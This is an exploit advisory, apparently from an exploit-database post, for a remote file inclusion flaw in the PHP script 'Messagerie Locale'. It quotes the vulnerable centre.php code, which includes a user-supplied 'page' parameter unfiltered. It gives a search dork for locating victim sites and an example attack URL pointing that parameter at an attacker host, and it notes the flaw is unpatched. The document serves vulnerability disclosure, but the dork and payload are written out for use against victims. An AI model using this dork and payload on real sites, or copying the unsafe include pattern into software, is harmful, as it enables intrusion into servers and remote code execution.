Messagerie Locale (centre.php) Remote File Inclusion Vulnerability

#===================================================================================# # # Messagerie Locale => (centre.php) $page Remote File Inclusion Exploit # #===================================================================================# # # Softname : Messagerie Locale # Url : http://dvmet.free.fr/script/messagerie.zip # Dork : inurl:indexmess.php # Exploit type : Remote File Inclusion. # Critical: Dangerous. # Solution Status: Unpatched. # #===================================================================================# # # By DaDIsS - Member of the Moroccan Hackers Team # #===================================================================================# # # Exploit Explanation : # # # The flaw resides in centre.php file that contain this code : # # <? # if(isset($_GET['page'])) # { # $page=$_GET['page']; # } # else # { # $page=""; # } # # if (empty($page)||!isset($page)) # { # include("accueil.php"); # } # else # { # include($page.".php"); # } # # ?> # #===================================================================================# # # Example : # # # http://www.victime.com/(path)/centre.php?page=http://attacker # # #================================================================# # # Greetz : YouYouCool, Hacker1, and all Moroccan Hackers Team, viva Morocco guyz !! # #===================================================================================# # # DaDIsS / dadiss@virtuaplanet.net # Proud to be a Moroccan ! # #===================================================================================#